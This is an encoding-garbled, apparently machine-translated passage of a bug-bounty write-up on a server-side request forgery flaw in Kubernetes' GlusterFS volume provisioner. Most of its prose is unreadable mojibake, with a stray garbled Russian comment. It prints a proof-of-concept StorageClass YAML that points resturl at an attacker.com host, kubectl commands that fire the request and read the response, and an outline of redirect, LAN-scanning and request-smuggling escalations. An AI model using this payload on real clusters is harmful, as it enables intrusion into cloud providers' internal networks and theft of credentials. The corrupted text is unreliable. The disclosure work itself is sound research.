рдЯрд┐рдкреНрдкрдгреАред рдЕрдиреБрд╡рд╛рджред: рдЗрд╕ рд▓реЗрдЦ рдХреЗ рд▓реЗрдЦрдХ рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ рдмрд╛рдд рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рд╡реЗ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдореЗрдВ рдХреИрд╕реЗ рдХрд╛рдордпрд╛рдм рд░рд╣реЗ
рд╣рдо рдХреМрди рд╣реИрдВ
рд╣рдо рджреЛ рдлреНрд░рд╛рдВрд╕реАрд╕реА рд╕реБрд░рдХреНрд╖рд╛ рд╢реЛрдзрдХрд░реНрддрд╛ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЛрдВрдиреЗ рд╕рдВрдпреБрдХреНрдд рд░реВрдк рд╕реЗ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдореЗрдВ рдПрдХ рднреЗрджреНрдпрддрд╛ рдХреА рдЦреЛрдЬ рдХреАред рд╣рдорд╛рд░реЗ рдирд╛рдо рдмреНрд░рд╛рдЗрд╕ рдСрдЧреНрд░рд╛рд╕ рдФрд░ рдХреНрд░рд┐рд╕реНрдЯреЛрдлрд╝ рд╣рд╛рдЙрдХреНрд╡рд┐рд░реНрдЯ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдХрдИ рдмрдЧ рдмрд╛рдЙрдВрдЯреА рдкреНрд▓реЗрдЯрдлрд╛рд░реНрдореЛрдВ рдкрд░ рд╣рдореЗрдВ рдХреНрд░рдорд╢рдГ рд░реАрд╡рд░рдЬрд╝реИрдХреНрд╕ рдФрд░ рд╣реИрдЪ рдХреЗ рдирд╛рдо рд╕реЗ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ:
-
рдмреНрд░рд╛рдЗрд╕ рдСрдЧреНрд░рд╛рд╕ -рдЧреНрд░реБрдк рдПрд╕реНрдЯрди рдХрдВрдкрдиреА ; -
рдХреНрд░рд┐рд╕реНрдЯреЛрдлрд╝ рд╣рд╛рдЙрдХреНрд╡рд┐рдПрд░реНрдЯ - рдиреЛрдХрд┐рдпрд╛ рдореЗрдВ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рд╡рд╛рд╕реНрддреБрдХрд╛рд░ред
рдХреНрдпрд╛ рд╣реБрдЖ?
рдпрд╣ рд▓реЗрдЦ рдпрд╣ рд╕рд╛рдЭрд╛ рдХрд░рдиреЗ рдХрд╛ рд╣рдорд╛рд░рд╛ рддрд░реАрдХрд╛ рд╣реИ рдХрд┐ рдХреИрд╕реЗ рдПрдХ рд╕рд╛рдзрд╛рд░рдг рдЕрдиреБрд╕рдВрдзрд╛рди рдкрд░рд┐рдпреЛрдЬрдирд╛ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рд░реВрдк рд╕реЗ рдмрдЧ рд╢рд┐рдХрд╛рд░рд┐рдпреЛрдВ рдХреЗ рдЬреАрд╡рди рдореЗрдВ рд╕рдмрд╕реЗ рд░реЛрдорд╛рдВрдЪрдХ рд╕рд╛рд╣рд╕рд┐рдХ рдХрд╛рд░реНрдп рдореЗрдВ рдмрджрд▓ рдЧрдИ (рдХрдо рд╕реЗ рдХрдо рдЕрднреА рдХреЗ рд▓рд┐рдП)ред
рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рд╢рд╛рдпрдж рдЬрд╛рдирддреЗ рд╣реИрдВ, рдмрдЧ рд╢рд┐рдХрд╛рд░рд┐рдпреЛрдВ рдХреЗ рдкрд╛рд╕ рдХреБрдЫ рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдВ рд╣реИрдВ:
- рд╡реЗ рдкрд┐рдЬрд╝реНрдЬрд╝рд╛ рдФрд░ рдмрд┐рдпрд░ рдкрд░ рд░рд╣рддреЗ рд╣реИрдВ;
- рд╡реЗ рддрдм рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВ рдЬрдм рдмрд╛рдХреА рд╕рднреА рд▓реЛрдЧ рд╕реЛ рд░рд╣реЗ рд╣реЛрддреЗ рд╣реИрдВред
рд╣рдо рдЗрди рдирд┐рдпрдореЛрдВ рдХреЗ рдЕрдкрд╡рд╛рдж рдирд╣реАрдВ рд╣реИрдВ: рд╣рдо рдЖрдо рддреМрд░ рдкрд░ рд╕рдкреНрддрд╛рд╣рд╛рдВрдд рдкрд░ рдорд┐рд▓рддреЗ рд╣реИрдВ рдФрд░ рд╣реИрдХрд┐рдВрдЧ рдореЗрдВ рд░рд╛рддреЛрдВ рдХреА рдиреАрдВрдж рд╣рд░рд╛рдо рдХрд░ рджреЗрддреЗ рд╣реИрдВред рд▓реЗрдХрд┐рди рдЗрдирдореЗрдВ рд╕реЗ рдПрдХ рд░рд╛рдд рдХрд╛ рдЕрдВрдд рдмрд╣реБрдд рд╣реА рдЕрд╕рд╛рдорд╛рдиреНрдп рддрд░реАрдХреЗ рд╕реЗ рд╣реБрдЖред
рдкреНрд░рд╛рд░рдВрдн рдореЗрдВ рд╣рдо рдЗрд╕рдореЗрдВ рднрд╛рдЧреАрджрд╛рд░реА рдкрд░ рдЪрд░реНрдЪрд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдорд┐рд▓рдиреЗ рд╡рд╛рд▓реЗ рдереЗ
рд░рд╛рдд 11 рдмрдЬреЗ рд╣рдо рдЕрдкрдирд╛ рд╢реЛрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмреИрдареЗ рдФрд░ рдкрд░рд┐рдгрд╛рдореЛрдВ рд╕реЗ рдмрд╣реБрдд рд╕рдВрддреБрд╖реНрдЯ рд╣реЛрдХрд░ рд╕реБрдмрд╣ рдЬрд▓реНрджреА рд╕реЛ рдЧрдПред рдЗрд╕ рд╢реЛрдз рдХреЗ рдХрд╛рд░рдг рд╣реА рд╣рдореЗрдВ рдПрдордПрд╕рдЖрд░рд╕реА рдмрдЧ рдмрд╛рдЙрдВрдЯреА рдХрд╛рд░реНрдпрдХреНрд░рдо рдХрд╛ рдкрддрд╛ рдЪрд▓рд╛ рдФрд░ рд╣рдо рдПрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рдХрд╛рд░рдирд╛рдореЗ рдХреЗ рд╕рд╛рде рд╕рд╛рдордиреЗ рдЖрдПред
рдХрдИ рд╕рдкреНрддрд╛рд╣/рдорд╣реАрдиреЗ рдмреАрдд рдЧрдП, рдФрд░ рд╣рдорд╛рд░реЗ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдкрд░рд┐рдгрд╛рдо рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдПрдЬрд╝реНрдпреЛрд░ рдХреНрд▓рд╛рдЙрдб рдмрдЧ рдмрд╛рдЙрдВрдЯреА рдХреЗ рдЗрддрд┐рд╣рд╛рд╕ рдореЗрдВ рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рдкреБрд░рд╕реНрдХрд╛рд░реЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдкреНрд░рд╛рдкреНрдд рд╣реБрдЖ - рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдкреБрд░рд╕реНрдХрд╛рд░ рдХреЗ рдЕрд▓рд╛рд╡рд╛!
рд╣рдорд╛рд░реЗ рд╢реЛрдз рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдЙрддреНрдкрд╛рдж рд╕реБрд░рдХреНрд╖рд╛ рд╕рдорд┐рддрд┐ рдиреЗ рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд┐рдпрд╛
рдЕрдм рдореИрдВ рдкрд╛рдИ рдЧрдИ рднреЗрджреНрдпрддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдпрдерд╛рд╕рдВрднрд╡ рдЬрд╛рдирдХрд╛рд░реА рдлреИрд▓рд╛рдирд╛ рдЪрд╛рд╣реВрдВрдЧрд╛ред рд╣рдореЗрдВ рдЖрд╢рд╛ рд╣реИ рдХрд┐ рдЖрдк рдЦреЛрдЬ рдХреА рд╕рд░рд╛рд╣рдирд╛ рдХрд░реЗрдВрдЧреЗ рдФрд░ рддрдХрдиреАрдХреА рд╡рд┐рд╡рд░рдг рдЗрдиреНрдлреЛрд╕реЗрдХ рд╕рдореБрджрд╛рдп рдХреЗ рдЕрдиреНрдп рд╕рджрд╕реНрдпреЛрдВ рдХреЗ рд╕рд╛рде рд╕рд╛рдЭрд╛ рдХрд░реЗрдВрдЧреЗ!
рддреЛ рдпреЗ рд╣реИ рд╣рдорд╛рд░реА рдХрд╣рд╛рдиреА...
рдкреНрд░рд╕рдВрдЧ
рдЬреЛ рдХреБрдЫ рд╣реБрдЖ рдЙрд╕реЗ рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдЗрдП рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рджреЗрдЦреЗрдВ рдХрд┐ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХреНрд▓рд╛рдЙрдб рдкреНрд░рдмрдВрдзрд┐рдд рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред
рдЬрдм рдЖрдк рдРрд╕реЗ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХреНрд▓рд╕реНрдЯрд░ рдХреЛ рдЗрдВрд╕реНрдЯреЗрдВрдЯ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдкреНрд░рдмрдВрдзрди рдкрд░рдд рдЖрдорддреМрд░ рдкрд░ рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рддрд╛ рдХреА рдЬрд┐рдореНрдореЗрджрд╛рд░реА рд╣реЛрддреА рд╣реИ:
рдирд┐рдпрдВрддреНрд░рдг рдкрд░рдд рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рддрд╛ рдХреА рдкрд░рд┐рдзрд┐ рдкрд░ рд╕реНрдерд┐рдд рд╣реИ, рдЬрдмрдХрд┐ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдиреЛрдбреНрд╕ рдЧреНрд░рд╛рд╣рдХ рдХреА рдкрд░рд┐рдзрд┐ рдкрд░ рд╕реНрдерд┐рдд рд╣реИрдВ
рд╡реЙрд▓реНрдпреВрдо рдХреЛ рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рдЖрд╡рдВрдЯрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЙрдиреНрд╣реЗрдВ рдмрд╛рд╣рд░реА рд╕реНрдЯреЛрд░реЗрдЬ рдмреИрдХрдПрдВрдб рд╕реЗ рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рдкреНрд░рд╛рд╡рдзрд╛рди рдХрд░рдиреЗ рдФрд░ рдкреАрд╡реАрд╕реА (рд▓рдЧрд╛рддрд╛рд░ рд╡реЙрд▓реНрдпреВрдо рджрд╛рд╡рд╛, рдпрд╛рдиреА рд╡реЙрд▓реНрдпреВрдо рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз) рдХреЗ рд╕рд╛рде рдЙрдирдХреА рддреБрд▓рдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рддрдВрддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдкреАрд╡реАрд╕реА рдХреЗ рдмрдирдиреЗ рдФрд░ K8s рдХреНрд▓рд╕реНрдЯрд░ рдореЗрдВ рд╕реНрдЯреЛрд░реЗрдЬрдХреНрд▓рд╛рд╕ рд╕реЗ рдмрдВрдзреЗ рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж, рд╡реЙрд▓реНрдпреВрдо рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдЧреЗ рдХреА рдХрд╛рд░реНрд░рд╡рд╛рдИ рдХреНрдпреВрдм/рдХреНрд▓рд╛рдЙрдб рдирд┐рдпрдВрддреНрд░рдХ рдкреНрд░рдмрдВрдзрдХ рджреНрд╡рд╛рд░рд╛ рдХреА рдЬрд╛рддреА рд╣реИ (рдЗрд╕рдХрд╛ рд╕рдЯреАрдХ рдирд╛рдо рд░рд┐рд▓реАрдЬ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ)ред (рдЯрд┐рдкреНрдкрдгреАред рдЕрдиреБрд╡рд╛рджред: рд╣рдо рдкрд╣рд▓реЗ рд╣реА рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рддрд╛рдУрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдХреЗ рд▓рд┐рдП рдЗрд╕рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЗ рдЙрджрд╛рд╣рд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реАрд╕реАрдПрдо рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рд▓рд┐рдЦ рдЪреБрдХреЗ рд╣реИрдВ
рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рджреНрд╡рд╛рд░рд╛ рд╕рдорд░реНрдерд┐рдд рдХрдИ рдкреНрд░рдХрд╛рд░ рдХреЗ рдкреНрд░рд╛рд╡рдзрд╛рдирдХрд░реНрддрд╛ рд╣реИрдВ: рдЙрдирдореЗрдВ рд╕реЗ рдЕрдзрд┐рдХрд╛рдВрд╢ рдЗрд╕рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ
рдЕрдкрдиреЗ рд╢реЛрдз рдореЗрдВ, рд╣рдордиреЗ рдЖрдВрддрд░рд┐рдХ рд╡реЙрд▓реНрдпреВрдо рдкреНрд░рд╛рд╡рдзрд╛рди рддрдВрддреНрд░ рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд┐рдпрд╛, рдЬрд┐рд╕реЗ рдиреАрдЪреЗ рджрд░реНрд╢рд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ:
рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдкреНрд░реЛрд╡рд┐рдЬрдирд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡реЙрд▓реНрдпреВрдо рдХрд╛ рдЧрддрд┐рд╢реАрд▓ рдкреНрд░рд╛рд╡рдзрд╛рди
рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ, рдЬрдм рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХреЛ рдПрдХ рдкреНрд░рдмрдВрдзрд┐рдд рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рддреИрдирд╛рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдирд┐рдпрдВрддреНрд░рдХ рдкреНрд░рдмрдВрдзрдХ рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рддрд╛ рдХреА рдЬрд┐рдореНрдореЗрджрд╛рд░реА рд╣реЛрддреА рд╣реИ, рд▓реЗрдХрд┐рди рд╡реЙрд▓реНрдпреВрдо рдирд┐рд░реНрдорд╛рдг рдЕрдиреБрд░реЛрдз (рдЙрдкрд░реЛрдХреНрдд рдЪрд┐рддреНрд░ рдореЗрдВ рд╕рдВрдЦреНрдпрд╛ 3) рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рддрд╛ рдХреЗ рдЖрдВрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рдХреЛ рдЫреЛрдбрд╝ рджреЗрддрд╛ рд╣реИред рдФрд░ рдпрд╣реАрдВ рдЪреАрдЬреЗрдВ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛ рдЬрд╛рддреА рд╣реИрдВ!
рд╣реИрдХрд┐рдВрдЧ рдкрд░рд┐рджреГрд╢реНрдп
рдЗрд╕ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ, рд╣рдо рдмрддрд╛рдПрдВрдЧреЗ рдХрд┐ рд╣рдордиреЗ рдКрдкрд░ рдЙрд▓реНрд▓рд┐рдЦрд┐рдд рд╡рд░реНрдХрдлрд╝реНрд▓реЛ рдХрд╛ рд▓рд╛рдн рдХреИрд╕реЗ рдЙрдард╛рдпрд╛ рдФрд░ рдХреНрд▓рд╛рдЙрдб рд╕реЗрд╡рд╛ рдкреНрд░рджрд╛рддрд╛ рдХреЗ рдЖрдВрддрд░рд┐рдХ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдХреИрд╕реЗ рдкрд╣реБрдВрдЪ рдмрдирд╛рдИред рдпрд╣ рдЖрдкрдХреЛ рдпрд╣ рднреА рджрд┐рдЦрд╛рдПрдЧрд╛ рдХрд┐ рдЖрдк рдХреБрдЫ рдХрд╛рд░реНрдп рдХреИрд╕реЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдЖрдВрддрд░рд┐рдХ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдпрд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдирд╛ред
рдПрдХ рд╕рд╛рдзрд╛рд░рдг рд╣реЗрд░рдлреЗрд░ (рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╕рд░реНрд╡рд┐рд╕ рд╕рд╛рдЗрдб рд░рд┐рдХреНрд╡реЗрд╕реНрдЯ рдлреЛрд░реНрдЬрд░реА) рдиреЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдкрд░рд┐рд╡реЗрд╢ рд╕реЗ рдкрд░реЗ рдкреНрд░рдмрдВрдзрд┐рдд K8s рдХреЗ рддрд╣рдд рд╡рд┐рднрд┐рдиреНрди рд╕реЗрд╡рд╛ рдкреНрд░рджрд╛рддрд╛рдУрдВ рдХреЗ рд╕рдореВрд╣реЛрдВ рдореЗрдВ рдЬрд╛рдиреЗ рдореЗрдВ рдорджрдж рдХреАред
рдЕрдкрдиреЗ рд╢реЛрдз рдореЗрдВ, рд╣рдордиреЗ рдЧреНрд▓рд╕реНрдЯрд░рдПрдлрдПрд╕ рдкреНрд░реЛрд╡рд┐рдЬрдирд░ рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд┐рдпрд╛ред рдЗрд╕ рддрдереНрдп рдХреЗ рдмрд╛рд╡рдЬреВрдж рдХрд┐ рдЗрд╕ рд╕рдВрджрд░реНрдн рдореЗрдВ рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдЖрдЧреЗ рдХреЗ рдХреНрд░рдо рдХрд╛ рд╡рд░реНрдгрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдХреНрд╡реЛрдмрд╛рдЗрдЯ, рд╕реНрдЯреЛрд░реЗрдЬрдУрдПрд╕ рдФрд░ рд╕реНрдХреЗрд▓рдЖрдИрдУ рд╕рдорд╛рди рднреЗрджреНрдпрддрд╛ рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИрдВред
рдбрд╛рдпрдиреЗрдорд┐рдХ рд╡реЙрд▓реНрдпреВрдо рдкреНрд░рд╛рд╡рдзрд╛рди рддрдВрддреНрд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ
рднрдВрдбрд╛рд░рдг рд╡рд░реНрдЧ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рджреМрд░рд╛рди GlusterFS рдЧреЛрд▓рд╛рдВрдЧ рдХреНрд▓рд╛рдЗрдВрдЯ рд╕реЛрд░реНрд╕ рдХреЛрдб рдореЗрдВ рд╣рдо resturl
рдЬреЛрдбрд╝ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ /volumes
.
рд╣рдордиреЗ рдЗрд╕ рдЕрддрд┐рд░рд┐рдХреНрдд рдкрде рдХреЛ рдЬреЛрдбрд╝рдХрд░ рдЫреБрдЯрдХрд╛рд░рд╛ рдкрд╛рдиреЗ рдХрд╛ рдирд┐рд░реНрдгрдп рд▓рд┐рдпрд╛ #
рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ resturl
. рдпрд╣рд╛рдВ рдкрд╣рд▓рд╛ YAML рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╣рдордиреЗ рд╕реЗрдореА-рдмреНрд▓рд╛рдЗрдВрдб SSRF рднреЗрджреНрдпрддрд╛ рдХреЗ рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдерд╛ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЖрдк рдЕрд░реНрдз-рдЕрдВрдз рдпрд╛ рдЕрд░реНрдз-рдЕрдВрдз SSRF рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ,
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: poc-ssrf
spec:
accessModes:
- ReadWriteOnce
volumeMode: Filesystem
resources:
requests:
storage: 8Gi
storageClassName: poc-ssrf
рдлрд┐рд░ рд╣рдордиреЗ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХреНрд▓рд╕реНрдЯрд░ рдХреЛ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╛рдЗрдирд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ Kubectl. рдЖрдорддреМрд░ рдкрд░, рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рддрд╛ (Azure, Google, AWS, рдЖрджрд┐) рдЖрдкрдХреЛ рдЗрд╕ рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред
рдЗрд╕рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж, рдореИрдВ рдЕрдкрдиреА "рд╡рд┐рд╢реЗрд╖" рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдерд╛ред рдХреНрдпреВрдм-рдирд┐рдпрдВрддреНрд░рдХ-рдкреНрд░рдмрдВрдзрдХ рдиреЗ рдкрд░рд┐рдгрд╛рдореА HTTP рдЕрдиреБрд░реЛрдз рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛:
kubectl create -f sc-poc.yaml
рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╕реЗ рдЙрддреНрддрд░
рдЗрд╕рдХреЗ рддреБрд░рдВрдд рдмрд╛рдж, рд╣рдо рдХрдорд╛рдВрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓рдХреНрд╖реНрдп рд╕рд░реНрд╡рд░ рд╕реЗ рдПрдХ HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рднреА рд╕рдХреНрд╖рдо рдереЗ describe pvc
рдпрд╛ get events
рдХреНрдпреВрдмреЗрдХреНрдЯрд▓ рдореЗрдВ. рдФрд░ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ: рдпрд╣ рдбрд┐рдлрд╝реЙрд▓реНрдЯ Kubernetes рдбреНрд░рд╛рдЗрд╡рд░ рдЕрдкрдиреА рдЪреЗрддрд╛рд╡рдирд┐рдпреЛрдВ/рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢реЛрдВ рдореЗрдВ рдмрд╣реБрдд рдЕрдзрд┐рдХ рдХреНрд░рд┐рдпрд╛рддреНрдордХ рд╣реИ...
рдпрд╣рд╛рдВ рд▓рд┐рдВрдХ рдХреЗ рд╕рд╛рде рдПрдХ рдЙрджрд╛рд╣рд░рдг рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ https://www.google.fr
рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ рд╕реЗрдЯ рдХрд░реЗрдВ resturl
:
kubectl describe pvc poc-ssrf
# ╨╕╨╗╨╕ ╨╢╨╡ ╨╝╨╛╨╢╨╡╤В╨╡ ╨▓╨╛╤Б╨┐╨╛╨╗╤М╨╖╨╛╨▓╨░╤В╤М╤Б╤П kubectl get events
рдЗрд╕ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдореЗрдВ, рд╣рдо рдЬреИрд╕реЗ рдкреНрд░рд╢реНрдиреЛрдВ рддрдХ рд╣реА рд╕реАрдорд┐рдд рдереЗ HTTP рдкреЛрд╕реНрдЯ рдФрд░ рдпрджрд┐ рд░рд┐рдЯрд░реНрди рдХреЛрдб рдерд╛ рддреЛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдирд┐рдХрд╛рдп рдХреА рд╕рд╛рдордЧреНрд░реА рдкреНрд░рд╛рдкреНрдд рдирд╣реАрдВ рдХрд░ рд╕рдХрд╛ 201. рдЗрд╕рд▓рд┐рдП, рд╣рдордиреЗ рдЕрддрд┐рд░рд┐рдХреНрдд рд╢реЛрдз рдХрд░рдиреЗ рдХрд╛ рдирд┐рд░реНрдгрдп рд▓рд┐рдпрд╛ рдФрд░ рдирдП рджреГрд╖реНрдЯрд┐рдХреЛрдгреЛрдВ рдХреЗ рд╕рд╛рде рдЗрд╕ рд╣реИрдХрд┐рдВрдЧ рдкрд░рд┐рджреГрд╢реНрдп рдХрд╛ рд╡рд┐рд╕реНрддрд╛рд░ рдХрд┐рдпрд╛ред
рд╣рдорд╛рд░реЗ рд╢реЛрдз рдХрд╛ рд╡рд┐рдХрд╛рд╕
- рдЙрдиреНрдирдд рдкрд░рд┐рджреГрд╢реНрдп #1: рдЖрдВрддрд░рд┐рдХ рдбреЗрдЯрд╛ рдПрдХрддреНрд░ рдХрд░рдиреЗ рдХрд╛ рдЕрдзрд┐рдХ рд▓рдЪреАрд▓рд╛ рддрд░реАрдХрд╛ рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП HTTP рд╡рд┐рдзрд┐ рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╛рд╣рд░реА рд╕рд░реНрд╡рд░ рд╕реЗ 302 рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ред
- рдЙрдиреНрдирдд рдкрд░рд┐рджреГрд╢реНрдп #2: LAN рд╕реНрдХреИрдирд┐рдВрдЧ рдФрд░ рдЖрдВрддрд░рд┐рдХ рд╕рдВрд╕рд╛рдзрди рдЦреЛрдЬ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░реЗрдВред
- рдЙрдиреНрдирдд рдкрд░рд┐рджреГрд╢реНрдп #3: рдЕрдиреБрдХреВрд▓рд┐рдд HTTP рдЕрдиреБрд░реЛрдз рдмрдирд╛рдиреЗ рдФрд░ рдХреНрдпреВрдм-рдирд┐рдпрдВрддреНрд░рдХ рд▓реЙрдЧ рд╕реЗ рдирд┐рдХрд╛рд▓реЗ рдЧрдП рдбреЗрдЯрд╛ рдХреЛ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП HTTP CRLF + рддрд╕реНрдХрд░реА ("рдЕрдиреБрд░реЛрдз рддрд╕реНрдХрд░реА") рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ред
рддрдХрдиреАрдХреА рдирд┐рд░реНрджреЗрд╢
